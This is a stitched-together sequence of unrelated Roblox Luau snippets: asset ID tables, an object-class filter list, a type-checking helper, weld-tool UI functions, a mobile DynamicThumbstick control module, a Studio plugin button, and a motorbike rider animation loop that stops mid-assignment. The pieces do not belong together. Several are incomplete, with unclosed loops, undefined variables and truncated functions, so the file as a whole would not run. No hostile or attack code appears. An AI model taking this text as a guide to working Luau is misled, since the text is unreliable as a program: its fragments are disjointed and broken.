local L_45_ = { "1565831468"; "1565832329"; } local L_46_ = { "1565831129"; "1565830611"; } local L_47_ = { "1565825075"; "1565824613"; } local L_48_ = { "1565821941"; "1565821634"; } local L_49_ = { "1565756818"; "1565756607"; } local L_50_ = { "1565717027"; "1565716705"; } local L_51_ = { 2389761679; 1565675605; }
--------| Setting |--------
local blacklistedClasses = {"Sparkles", "Smoke", "Script", "LocalScript", "Sound", "ParticleEmitter", "Fire", "PointLight", "SurfaceLight", "SpotLight"}
--script.Parent.Transparency = 0 --wait(0.6) --script.Parent.Transparency = 0.1 --wait(0.01) --script.Parent.Transparency = 0.2 --wait(0.01) --script.Parent.Transparency = 0.3 --wait(0.01) --script.Parent.Transparency = 0.4 --wait(0.01) --script.Parent.Transparency = 0.5 --wait(0.01) --script.Parent.Transparency = 0.6 --wait(0.01) --script.Parent.Transparency = 0.7 --wait(0.01) --script.Parent.Transparency = 0.8 --wait(0.01) --script.Parent.Transparency = 0.9 --wait(0.01)
script.Parent.Transparency = 1
-- Symbol -- Stephen Leitnick -- January 04, 2022
--[[** ensures value matches given interface definition strictly @param checkTable The interface definition @returns A function that will return true iff the condition is passed **--]]
function t.strictInterface(checkTable) assert(checkInterface(checkTable)) return function(value) local tableSuccess, tableErrMsg = t.table(value) if tableSuccess == false then return false, tableErrMsg or "" end for key, check in checkTable do local success, errMsg = check(value[key]) if success == false then return false, string.format("[interface] bad value for %s:\n\t%s", tostring(key), errMsg or "") end end for key in value do if not checkTable[key] then return false, string.format("[interface] unexpected field %q", tostring(key)) end end return true end end end
-- Container for temporary connections (disconnected automatically)
local Connections = {}; function WeldTool.Equip() -- Enables the tool's equipped functionality -- Start up our interface ShowUI(); EnableFocusHighlighting(); end; function WeldTool.Unequip() -- Disables the tool's equipped functionality -- Clear unnecessary resources HideUI(); ClearConnections(); end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:Disconnect(); Connections[ConnectionKey] = nil; end; end; function ShowUI() -- Creates and reveals the UI -- Reveal UI if already created if UI then -- Reveal the UI UI.Visible = true; -- Skip UI creation return; end; -- Create the UI UI = Core.Tool.Interfaces.BTWeldToolGUI:Clone(); UI.Parent = Core.UI; UI.Visible = true; -- Hook up the buttons UI.Interface.WeldButton.MouseButton1Click:Connect(CreateWelds); UI.Interface.BreakWeldsButton.MouseButton1Click:Connect(BreakWelds); end; function HideUI() -- Hides the tool UI -- Make sure there's a UI if not UI then return; end; -- Hide the UI UI.Visible = false; end;
------------------------------------------------------------------------------------
local WaitTime = 1 -- Change this to the amount of time it takes for the button to re-enable. local modelname = "Cart" -- If your model is not named this, then make the purple words the same name as the model!
--s.Pitch = 0.7 --s.Pitch = 0.7
while true do while s.Pitch<0.901 do s.Pitch=s.Pitch+0.010 s:Play() if s.Pitch>0.901 then s.Pitch=0.901 end wait(0.001) end
----------------- --| Variables |-- -----------------
local Tool = script.Parent local R6Folder = script:WaitForChild("R6") local R15Folder = script:WaitForChild("R15") local ScytheEquipAnimation = R6Folder:WaitForChild("ScytheEquip2") local ScytheIdleAnimation = R6Folder:WaitForChild("ScytheIdle2") local ScytheSlashAnimation = R6Folder:WaitForChild("ScytheSlash") local ScytheEquipTrack = nil local ScytheIdleTrack = nil local ScytheSlashTrack = nil
-- https://developer.roblox.com/en-us/api-reference/class/DataStoreService
local sample = sm:Clone() -- клонируем исходник sm:Destroy() -- и уничтожаем его
-- Was called OnMoveTouchEnded in previous version
function DynamicThumbstick:OnInputEnded() self.moveTouchObject = nil self.moveVector = ZERO_VECTOR3 self:FadeThumbstick(false) end function DynamicThumbstick:FadeThumbstick(visible: boolean?) if not visible and self.moveTouchObject then return end if self.isFirstTouch then return end if self.startImageFadeTween then self.startImageFadeTween:Cancel() end if self.endImageFadeTween then self.endImageFadeTween:Cancel() end for i = 1, #self.middleImages do if self.middleImageFadeTweens[i] then self.middleImageFadeTweens[i]:Cancel() end end if visible then self.startImageFadeTween = TweenService:Create(self.startImage, ThumbstickFadeTweenInfo, { ImageTransparency = 0 }) self.startImageFadeTween:Play() self.endImageFadeTween = TweenService:Create(self.endImage, ThumbstickFadeTweenInfo, { ImageTransparency = 0.2 }) self.endImageFadeTween:Play() for i = 1, #self.middleImages do self.middleImageFadeTweens[i] = TweenService:Create(self.middleImages[i], ThumbstickFadeTweenInfo, { ImageTransparency = MIDDLE_TRANSPARENCIES[i] }) self.middleImageFadeTweens[i]:Play() end else self.startImageFadeTween = TweenService:Create(self.startImage, ThumbstickFadeTweenInfo, { ImageTransparency = 1 }) self.startImageFadeTween:Play() self.endImageFadeTween = TweenService:Create(self.endImage, ThumbstickFadeTweenInfo, { ImageTransparency = 1 }) self.endImageFadeTween:Play() for i = 1, #self.middleImages do self.middleImageFadeTweens[i] = TweenService:Create(self.middleImages[i], ThumbstickFadeTweenInfo, { ImageTransparency = 1 }) self.middleImageFadeTweens[i]:Play() end end end function DynamicThumbstick:FadeThumbstickFrame(fadeDuration: number, fadeRatio: number) self.fadeInAndOutHalfDuration = fadeDuration * 0.5 self.fadeInAndOutBalance = fadeRatio self.tweenInAlphaStart = tick() end function DynamicThumbstick:InputInFrame(inputObject: InputObject) local frameCornerTopLeft: Vector2 = self.thumbstickFrame.AbsolutePosition local frameCornerBottomRight = frameCornerTopLeft + self.thumbstickFrame.AbsoluteSize local inputPosition = inputObject.Position if inputPosition.X >= frameCornerTopLeft.X and inputPosition.Y >= frameCornerTopLeft.Y then if inputPosition.X <= frameCornerBottomRight.X and inputPosition.Y <= frameCornerBottomRight.Y then return true end end return false end function DynamicThumbstick:DoFadeInBackground() local playerGui = LocalPlayer:FindFirstChildOfClass("PlayerGui") local hasFadedBackgroundInOrientation = false -- only fade in/out the background once per orientation if playerGui then if playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeLeft or playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeRight then hasFadedBackgroundInOrientation = self.hasFadedBackgroundInLandscape self.hasFadedBackgroundInLandscape = true elseif playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.Portrait then hasFadedBackgroundInOrientation = self.hasFadedBackgroundInPortrait self.hasFadedBackgroundInPortrait = true end end if not hasFadedBackgroundInOrientation then self.fadeInAndOutHalfDuration = FADE_IN_OUT_HALF_DURATION_DEFAULT self.fadeInAndOutBalance = FADE_IN_OUT_BALANCE_DEFAULT self.tweenInAlphaStart = tick() end end function DynamicThumbstick:DoMove(direction: Vector3) local currentMoveVector: Vector3 = direction -- Scaled Radial Dead Zone local inputAxisMagnitude: number = currentMoveVector.magnitude if inputAxisMagnitude < self.radiusOfDeadZone then currentMoveVector = ZERO_VECTOR3 else currentMoveVector = currentMoveVector.unit*( 1 - math.max(0, (self.radiusOfMaxSpeed - currentMoveVector.magnitude)/self.radiusOfMaxSpeed) ) currentMoveVector = Vector3.new(currentMoveVector.x, 0, currentMoveVector.y) end self.moveVector = currentMoveVector end function DynamicThumbstick:LayoutMiddleImages(startPos: Vector3, endPos: Vector3) local startDist = (self.thumbstickSize / 2) + self.middleSize local vector = endPos - startPos local distAvailable = vector.magnitude - (self.thumbstickRingSize / 2) - self.middleSize local direction = vector.unit local distNeeded = self.middleSpacing * NUM_MIDDLE_IMAGES local spacing = self.middleSpacing if distNeeded < distAvailable then spacing = distAvailable / NUM_MIDDLE_IMAGES end for i = 1, NUM_MIDDLE_IMAGES do local image = self.middleImages[i] local distWithout = startDist + (spacing * (i - 2)) local currentDist = startDist + (spacing * (i - 1)) if distWithout < distAvailable then local pos = endPos - direction * currentDist local exposedFraction = math.clamp(1 - ((currentDist - distAvailable) / spacing), 0, 1) image.Visible = true image.Position = UDim2.new(0, pos.X, 0, pos.Y) image.Size = UDim2.new(0, self.middleSize * exposedFraction, 0, self.middleSize * exposedFraction) else image.Visible = false end end end function DynamicThumbstick:MoveStick(pos) local vector2StartPosition = Vector2.new(self.moveTouchStartPosition.X, self.moveTouchStartPosition.Y) local startPos = vector2StartPosition - self.thumbstickFrame.AbsolutePosition local endPos = Vector2.new(pos.X, pos.Y) - self.thumbstickFrame.AbsolutePosition self.endImage.Position = UDim2.new(0, endPos.X, 0, endPos.Y) self:LayoutMiddleImages(startPos, endPos) end function DynamicThumbstick:BindContextActions() local function inputBegan(inputObject) if self.moveTouchObject then return Enum.ContextActionResult.Pass end if not self:InputInFrame(inputObject) then return Enum.ContextActionResult.Pass end if self.isFirstTouch then self.isFirstTouch = false local tweenInfo = TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out,0,false,0) TweenService:Create(self.startImage, tweenInfo, {Size = UDim2.new(0, 0, 0, 0)}):Play() TweenService:Create( self.endImage, tweenInfo, {Size = UDim2.new(0, self.thumbstickSize, 0, self.thumbstickSize), ImageColor3 = Color3.new(0,0,0)} ):Play() end self.moveTouchLockedIn = false self.moveTouchObject = inputObject self.moveTouchStartPosition = inputObject.Position self.moveTouchFirstChanged = true if FADE_IN_OUT_BACKGROUND then self:DoFadeInBackground() end return Enum.ContextActionResult.Pass end local function inputChanged(inputObject: InputObject) if inputObject == self.moveTouchObject then if self.moveTouchFirstChanged then self.moveTouchFirstChanged = false local startPosVec2 = Vector2.new( inputObject.Position.X - self.thumbstickFrame.AbsolutePosition.X, inputObject.Position.Y - self.thumbstickFrame.AbsolutePosition.Y ) self.startImage.Visible = true self.startImage.Position = UDim2.new(0, startPosVec2.X, 0, startPosVec2.Y) self.endImage.Visible = true self.endImage.Position = self.startImage.Position self:FadeThumbstick(true) self:MoveStick(inputObject.Position) end self.moveTouchLockedIn = true local direction = Vector2.new( inputObject.Position.x - self.moveTouchStartPosition.x, inputObject.Position.y - self.moveTouchStartPosition.y ) if math.abs(direction.x) > 0 or math.abs(direction.y) > 0 then self:DoMove(direction) self:MoveStick(inputObject.Position) end return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end local function inputEnded(inputObject) if inputObject == self.moveTouchObject then self:OnInputEnded() if self.moveTouchLockedIn then return Enum.ContextActionResult.Sink end end return Enum.ContextActionResult.Pass end local function handleInput(actionName, inputState, inputObject) if inputState == Enum.UserInputState.Begin then return inputBegan(inputObject) elseif inputState == Enum.UserInputState.Change then return inputChanged(inputObject) elseif inputState == Enum.UserInputState.End then return inputEnded(inputObject) elseif inputState == Enum.UserInputState.Cancel then self:OnInputEnded() end end ContextActionService:BindActionAtPriority( DYNAMIC_THUMBSTICK_ACTION_NAME, handleInput, false, DYNAMIC_THUMBSTICK_ACTION_PRIORITY, Enum.UserInputType.Touch) end function DynamicThumbstick:Create(parentFrame: GuiBase2d) if self.thumbstickFrame then self.thumbstickFrame:Destroy() self.thumbstickFrame = nil if self.onRenderSteppedConn then self.onRenderSteppedConn:Disconnect() self.onRenderSteppedConn = nil end end self.thumbstickSize = 45 self.thumbstickRingSize = 20 self.middleSize = 10 self.middleSpacing = self.middleSize + 4 self.radiusOfDeadZone = 2 self.radiusOfMaxSpeed = 20 local screenSize = parentFrame.AbsoluteSize local isBigScreen = math.min(screenSize.x, screenSize.y) > 500 if isBigScreen then self.thumbstickSize = self.thumbstickSize * 2 self.thumbstickRingSize = self.thumbstickRingSize * 2 self.middleSize = self.middleSize * 2 self.middleSpacing = self.middleSpacing * 2 self.radiusOfDeadZone = self.radiusOfDeadZone * 2 self.radiusOfMaxSpeed = self.radiusOfMaxSpeed * 2 end local function layoutThumbstickFrame(portraitMode) if portraitMode then self.thumbstickFrame.Size = UDim2.new(1, 0, 0.4, 0) self.thumbstickFrame.Position = UDim2.new(0, 0, 0.6, 0) else self.thumbstickFrame.Size = UDim2.new(0.4, 0, 2/3, 0) self.thumbstickFrame.Position = UDim2.new(0, 0, 1/3, 0) end end self.thumbstickFrame = Instance.new("Frame") self.thumbstickFrame.BorderSizePixel = 0 self.thumbstickFrame.Name = "DynamicThumbstickFrame" self.thumbstickFrame.Visible = false self.thumbstickFrame.BackgroundTransparency = 1.0 self.thumbstickFrame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) self.thumbstickFrame.Active = false layoutThumbstickFrame(false) self.startImage = Instance.new("ImageLabel") self.startImage.Name = "ThumbstickStart" self.startImage.Visible = true self.startImage.BackgroundTransparency = 1 self.startImage.Image = TOUCH_CONTROLS_SHEET self.startImage.ImageRectOffset = Vector2.new(1,1) self.startImage.ImageRectSize = Vector2.new(144, 144) self.startImage.ImageColor3 = Color3.new(0, 0, 0) self.startImage.AnchorPoint = Vector2.new(0.5, 0.5) self.startImage.Position = UDim2.new(0, self.thumbstickRingSize * 3.3, 1, -self.thumbstickRingSize * 2.8) self.startImage.Size = UDim2.new(0, self.thumbstickRingSize * 3.7, 0, self.thumbstickRingSize * 3.7) self.startImage.ZIndex = 10 self.startImage.Parent = self.thumbstickFrame self.endImage = Instance.new("ImageLabel") self.endImage.Name = "ThumbstickEnd" self.endImage.Visible = true self.endImage.BackgroundTransparency = 1 self.endImage.Image = TOUCH_CONTROLS_SHEET self.endImage.ImageRectOffset = Vector2.new(1,1) self.endImage.ImageRectSize = Vector2.new(144, 144) self.endImage.AnchorPoint = Vector2.new(0.5, 0.5) self.endImage.Position = self.startImage.Position self.endImage.Size = UDim2.new(0, self.thumbstickSize * 0.8, 0, self.thumbstickSize * 0.8) self.endImage.ZIndex = 10 self.endImage.Parent = self.thumbstickFrame for i = 1, NUM_MIDDLE_IMAGES do self.middleImages[i] = Instance.new("ImageLabel") self.middleImages[i].Name = "ThumbstickMiddle" self.middleImages[i].Visible = false self.middleImages[i].BackgroundTransparency = 1 self.middleImages[i].Image = TOUCH_CONTROLS_SHEET self.middleImages[i].ImageRectOffset = Vector2.new(1,1) self.middleImages[i].ImageRectSize = Vector2.new(144, 144) self.middleImages[i].ImageTransparency = MIDDLE_TRANSPARENCIES[i] self.middleImages[i].AnchorPoint = Vector2.new(0.5, 0.5) self.middleImages[i].ZIndex = 9 self.middleImages[i].Parent = self.thumbstickFrame end local CameraChangedConn: RBXScriptConnection? = nil local function onCurrentCameraChanged() if CameraChangedConn then CameraChangedConn:Disconnect() CameraChangedConn = nil end local newCamera = workspace.CurrentCamera if newCamera then local function onViewportSizeChanged() local size = newCamera.ViewportSize local portraitMode = size.X < size.Y layoutThumbstickFrame(portraitMode) end CameraChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(onViewportSizeChanged) onViewportSizeChanged() end end workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onCurrentCameraChanged) if workspace.CurrentCamera then onCurrentCameraChanged() end self.moveTouchStartPosition = nil self.startImageFadeTween = nil self.endImageFadeTween = nil self.middleImageFadeTweens = {} self.onRenderSteppedConn = RunService.RenderStepped:Connect(function() if self.tweenInAlphaStart ~= nil then local delta = tick() - self.tweenInAlphaStart local fadeInTime = (self.fadeInAndOutHalfDuration * 2 * self.fadeInAndOutBalance) self.thumbstickFrame.BackgroundTransparency = 1 - FADE_IN_OUT_MAX_ALPHA*math.min(delta/fadeInTime, 1) if delta > fadeInTime then self.tweenOutAlphaStart = tick() self.tweenInAlphaStart = nil end elseif self.tweenOutAlphaStart ~= nil then local delta = tick() - self.tweenOutAlphaStart local fadeOutTime = (self.fadeInAndOutHalfDuration * 2) - (self.fadeInAndOutHalfDuration * 2 * self.fadeInAndOutBalance) self.thumbstickFrame.BackgroundTransparency = 1 - FADE_IN_OUT_MAX_ALPHA + FADE_IN_OUT_MAX_ALPHA*math.min(delta/fadeOutTime, 1) if delta > fadeOutTime then self.tweenOutAlphaStart = nil end end end) self.onTouchEndedConn = UserInputService.TouchEnded:connect(function(inputObject: InputObject) if inputObject == self.moveTouchObject then self:OnInputEnded() end end) GuiService.MenuOpened:connect(function() if self.moveTouchObject then self:OnInputEnded() end end) local playerGui = LocalPlayer:FindFirstChildOfClass("PlayerGui") while not playerGui do LocalPlayer.ChildAdded:wait() playerGui = LocalPlayer:FindFirstChildOfClass("PlayerGui") end local playerGuiChangedConn = nil local originalScreenOrientationWasLandscape = playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeLeft or playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeRight local function longShowBackground() self.fadeInAndOutHalfDuration = 2.5 self.fadeInAndOutBalance = 0.05 self.tweenInAlphaStart = tick() end playerGuiChangedConn = playerGui:GetPropertyChangedSignal("CurrentScreenOrientation"):Connect(function() if (originalScreenOrientationWasLandscape and playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.Portrait) or (not originalScreenOrientationWasLandscape and playerGui.CurrentScreenOrientation ~= Enum.ScreenOrientation.Portrait) then playerGuiChangedConn:disconnect() longShowBackground() if originalScreenOrientationWasLandscape then self.hasFadedBackgroundInPortrait = true else self.hasFadedBackgroundInLandscape = true end end end) self.thumbstickFrame.Parent = parentFrame if game:IsLoaded() then longShowBackground() else coroutine.wrap(function() game.Loaded:Wait() longShowBackground() end)() end end return DynamicThumbstick
-- Make button clickable even if 3D viewport is hidden
newScriptButton.ClickableWhenViewportHidden = true local function onNewScriptButtonClicked() local newScript = Instance.new("Script") newScript.Source = "" newScript.Parent = game:GetService("ServerScriptService") end newScriptButton.Click:Connect(onNewScriptButtonClicked)
-- IF YOU WANT TO UPDATE THE EXISTING ANIMATIONS YOU HAVE WITHOUT HAVING TO REDO THEM, COPY EVERYTHING BELOW AND UPDATE IT ---
while wait(clock) do --value*(1-multiplier)+endpoint*multiplier Lean = math.rad(-bike.Body.bal.Orientation.Z) if C.Humanoid.RigType == Enum.HumanoidRigType.R6 then if math.abs(Lean) < R6HeadZ then bike.Misc.Anims.R6.Head.Z.M.CurrentAngle = -math.abs(Lean) else bike.Misc.Anims.R6.Head.Z.M.CurrentAngle = -R6HeadZ end if Lean < R6HeadX and Lean > -R6HeadX then bike.Misc.Anims.R6.Head.X.M.CurrentAngle = -Lean elseif Lean > R6HeadX then bike.Misc.Anims.R6.Head.X.M.CurrentAngle = -R6HeadX elseif Lean < -R6HeadX then bike.Misc.Anims.R6.Head.X.M.CurrentAngle = R6HeadX end if script.Parent.Values.SteerT.Value > 0.01 then bike.Misc.Anims.R6.Head.Y.M.CurrentAngle = bike.Misc.Anims.R6.Head.Y.M.CurrentAngle*(1-.1)+math.max(-(math.abs(script.Parent.Values.SteerT.Value)*(bike.DriveSeat.Velocity.magnitude/20))+(math.abs(script.Parent.Values.SteerT.Value)*-R6HeadYStart), -R6HeadYFinish)*.1 elseif script.Parent.Values.SteerT.Value < -0.01 then bike.Misc.Anims.R6.Head.Y.M.CurrentAngle = bike.Misc.Anims.R6.Head.Y.M.CurrentAngle*(1-.1)+math.min((math.abs(script.Parent.Values.SteerT.Value)*(bike.DriveSeat.Velocity.magnitude/20))+(math.abs(script.Parent.Values.SteerT.Value)*R6HeadYStart), R6HeadYFinish)*.1 else bike.Misc.Anims.R6.Head.Y.M.CurrentAngle = bike.Misc.Anims.R6.Head.Y.M.CurrentAngle*(1-.1)+0*.1 end if bike.DriveSeat.Velocity.magnitude > 5 then if Lean < 0 then bike.Misc.Anims.R6.RightLeg.I.M.CurrentAngle = bike.Misc.Anims.R6.RightLeg.I.M.CurrentAngle*(1-.1)+-0*.1 bike.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle = bike.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6RightLegLeftLeanD),R6RightLegLeftLean)*R6RightLegLeftLeanM))*.1 bike.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle = bike.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle*(1-.1)+-0*.1 bike.Misc.Anims.R6.RightArm.Y.M.CurrentAngle = bike.Misc.Anims.R6.RightArm.Y.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6RightArmLeftLeanD),R6RightArmLeftLean)*R6RightArmLeftLeanM))*.1 bike.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle = bike.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6LeftArmLeftLeanD),R6LeftArmLeftLean)*R6LeftArmLeftLeanM))*.1 bike.Misc.Anims.R6.RightLeg.X.M.CurrentAngle = bike.Misc.Anims.R6.RightLeg.X.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6RightLegLeftLeanD),R6RightLegLeftLean)*R6RightLegLeftLeanM))*.1 bike.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle = bike.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6LeftLegLeftLeanD),R6LeftLegLeftLean)*R6LeftLegLeftLeanM))*.1 bike.Misc.Anims.R6.Torso.X.M.CurrentAngle = bike.Misc.Anims.R6.Torso.X.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6TorsoLeftLeanD),R6TorsoLeftLean)*R6TorsoLeftLeanM))*.1 else bike.Misc.Anims.R6.RightLeg.I.M.CurrentAngle = bike.Misc.Anims.R6.RightLeg.I.M.CurrentAngle*(1-.1)+-0*.1 bike.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle = bike.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle*(1-.1)+-0*.1 bike.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle = bike.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6LeftLegRightLeanD),R6LeftLegRightLean)*R6LeftLegRightLeanM))*.1 bike.Misc.Anims.R6.RightArm.Y.M.CurrentAngle = bike.Misc.Anims.R6.RightArm.Y.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6RightArmRightLeanD),R6RightArmRightLean)*R6RightArmRightLeanM))*.1 bike.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle = bike.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6LeftArmRightLeanD),R6LeftArmRightLean)*R6LeftArmRightLeanM))*.1 bike.Misc.Anims.R6.RightLeg.X.M.CurrentAngle = bike.Misc.Anims.R6.RightLeg.X.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6RightLegRightLeanD),R6RightLegRightLean)*R6RightLegRightLeanM))*.1 bike.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle = bike.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6LeftLegRightLeanD),R6LeftLegRightLean)*R6LeftLegRightLeanM))*.1 bike.Misc.Anims.R6.Torso.X.M.CurrentAngle = bike.Misc.Anims.R6.Torso.X.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6TorsoRightLeanD),R6TorsoRightLean)*R6TorsoRightLeanM))*.1 end else bike.Misc.Anims.R6.Torso.X.M.CurrentAngle = bike.Misc.Anims.R6.Torso.X.M.CurrentAngle*(1-.1)+-(-.3)*.1 bike.Misc.Anims.R6.RightArm.Y.M.CurrentAngle = bike.Misc.Anims.R6.RightArm.Y.M.CurrentAngle*(1-.1)+-(-.3)*.1 bike.Misc.Anims.R6.RightArm.Z.M.CurrentAngle = bike.Misc.Anims.R6.RightArm.Z.M.CurrentAngle*(1-.1)+-.5*.1 bike.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle = bike.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle*(1-.1)+-.4*.1 bike.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle = bike.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle*(1-.1)+-.2*.1 bike.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle = bike.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle*(1-.1)+-.3*.1 bike.Misc.Anims.R6.RightLeg.I.M.CurrentAngle = bike.Misc.Anims.R6.RightLeg.I.M.CurrentAngle*(1-.1)+-1*.1 bike.Misc.Anims.R6.RightLeg.X.M.CurrentAngle = bike.Misc.Anims.R6.RightLeg.X.M.CurrentAngle*(1-.1)+-.8*.1 bike.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle = bike.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle*(1-.1)+-.5*.1 end if bike.DriveSeat.Velocity.magnitude > TuckInSpeed then bike.Misc.Anims.R6.Torso.Z.M.CurrentAngle = bike.Misc.Anims.R6.Torso.Z.M.CurrentAngle*(1-.1)+(-(R6TorsoTuckIn-math.min(math.abs(Lean),R6TorsoTuckIn))*script.Parent.Values.Throttle.Value)*.1 bike.Misc.Anims.R6.RightArm.Z.M.CurrentAngle = bike.Misc.Anims.R6.RightArm.Z.M.CurrentAngle*(1-.1)+(-(R6RightArmTuckIn-math.min(math.abs(Lean),R6RightArmTuckIn))*script.Parent.Values.Throttle.Value)*.1 bike.Misc.Anims.R6.LeftArm.Z.M.CurrentAngle = bike.Misc.Anims.R6.LeftArm.Z.M.CurrentAngle*(1-.1)+(-(R6LeftArmTuckIn-math.min(math.abs(Lean),R6LeftArmTuckIn))*script.Parent.Values.Throttle.Value)*.1 else bike.Misc.Anims.R6.Torso.Z.M.CurrentAngle = bike.Misc.Anims.R6.Torso.Z.M.CurrentAngle*(1-.15)+-0*.15 bike.Misc.Anims.R6.RightArm.Z.M.CurrentAngle = bike.Misc.Anims.R6.RightArm.Z.M.CurrentAngle*(1-.15)+-0*.15 bike.Misc.Anims.R6.LeftArm.Z.M.CurrentAngle = bike.Misc.Anims.R6.LeftArm.Z.M.CurrentAngle*(1-.15)+-0*.15 end else --r15 if math.abs(Lean) < R15HeadZ then bike.Misc.Anims.R15.Torso.Head.Z.M.CurrentAngle = -math.abs(Lean) else bike.Misc.Anims.R15.Torso.Head.Z.M.CurrentAngle = -R15HeadZ end if Lean < R15HeadX and Lean > -R15HeadX then bike.Misc.Anims.R15.Torso.Head.X.M.CurrentAngle = -Lean elseif Lean > R15HeadX then bike.Misc.Anims.R15.Torso.Head.X.M.CurrentAngle = -R15HeadX elseif Lean < -R15HeadX then bike.Misc.Anims.R15.Torso.Head.X.M.CurrentAngle = R15HeadX end if script.Parent.Values.SteerT.Value > 0.01 then bike.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle = bike.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle*(1-.1)+math.max(-(math.abs(script.Parent.Values.SteerT.Value)*(bike.DriveSeat.Velocity.magnitude/20))+(math.abs(script.Parent.Values.SteerT.Value)*-R15HeadYStart), -R15HeadYFinish)*.1 elseif script.Parent.Values.SteerT.Value < -0.01 then bike.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle = bike.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle*(1-.1)+math.min((math.abs(script.Parent.Values.SteerT.Value)*(bike.DriveSeat.Velocity.magnitude/20))+(math.abs(script.Parent.Values.SteerT.Value)*R15HeadYStart), R15HeadYFinish)*.1 else bike.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle = bike.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle*(1-.1)+0*.1 end if bike.DriveSeat.Velocity.magnitude < TuckInSpeed and bike.DriveSeat.Velocity.magnitude > 5 then --upright bike.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle = bike.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle*(1-.1)+0*.1 ZR15RightLegPointZero = ZR15RightLegPointZero*(1-.1)+-0*.1 XR15RightLegPointZero = XR15RightLegPointZero*(1-.1)+-0*.1 YR15RightLegPointZero = YR15RightLegPointZero*(1-.1)+-0*.1 R15RightKneePointZero = R15RightKneePointZero*(1-.1)+-0*.1 ZR15RightArmPointZero = ZR15RightArmPointZero*(1-.1)+-0*.1 YR15RightArmPointZero = YR15RightArmPointZero*(1-.1)+-0*.1 XR15RightArmPointZero = XR15RightArmPointZero*(1-.1)+-0*.1 R15RightElbowPointZero = R15RightElbowPointZero*(1-.1)+-0*.1 ZR15LeftLegPointZero = ZR15LeftLegPointZero*(1-.1)+-0*.1 XR15LeftLegPointZero = XR15LeftLegPointZero*(1-.1)+-0*.1 YR15LeftLegPointZero = YR15LeftLegPointZero*(1-.1)+-0*.1 R15LeftKneePointZero = R15LeftKneePointZero*(1-.1)+-0*.1 ZR15LeftArmPointZero = ZR15LeftArmPointZero*(1-.1)+-0*.1 YR15LeftArmPointZero = YR15LeftArmPointZero*(1-.1)+-0*.1 XR15LeftArmPointZero = XR15LeftArmPointZero*(1-.1)+-0*.1 R15LeftElbowPointZero = R15LeftElbowPointZero*(1-.1)+-0*.1 ZR15LowerTorsoPointZero = ZR15LowerTorsoPointZero*(1-.1)+-0*.1 XR15LowerTorsoPointZero = XR15LowerTorsoPointZero*(1-.1)+-0*.1 YR15LowerTorsoPointZero = YR15LowerTorsoPointZero*(1-.1)+-0*.1 ZR15UpperTorsoPointZero = ZR15UpperTorsoPointZero*(1-.1)+-0*.1 elseif bike.DriveSeat.Velocity.magnitude >= TuckInSpeed and bike.DriveSeat.Velocity.magnitude>5 then --tuck in bike.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle = bike.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle*(1-.1)+0*.1 ZR15RightLegPointZero = ZR15RightLegPointZero*(1-.1)+-(ZR15RightLegTuckIn*script.Parent.Values.Throttle.Value)*.1 XR15RightLegPointZero = XR15RightLegPointZero*(1-.1)+-(XR15RightLegTuckIn*script.Parent.Values.Throttle.Value)*.1 YR15RightLegPointZero = YR15RightLegPointZero*(1-.1)+-(YR15RightLegTuckIn*script.Parent.Values.Throttle.Value)*.1 R15RightKneePointZero = R15RightKneePointZero*(1-.1)+-(R15RightKneeTuckIn*script.Parent.Values.Throttle.Value)*.1 ZR15RightArmPointZero = 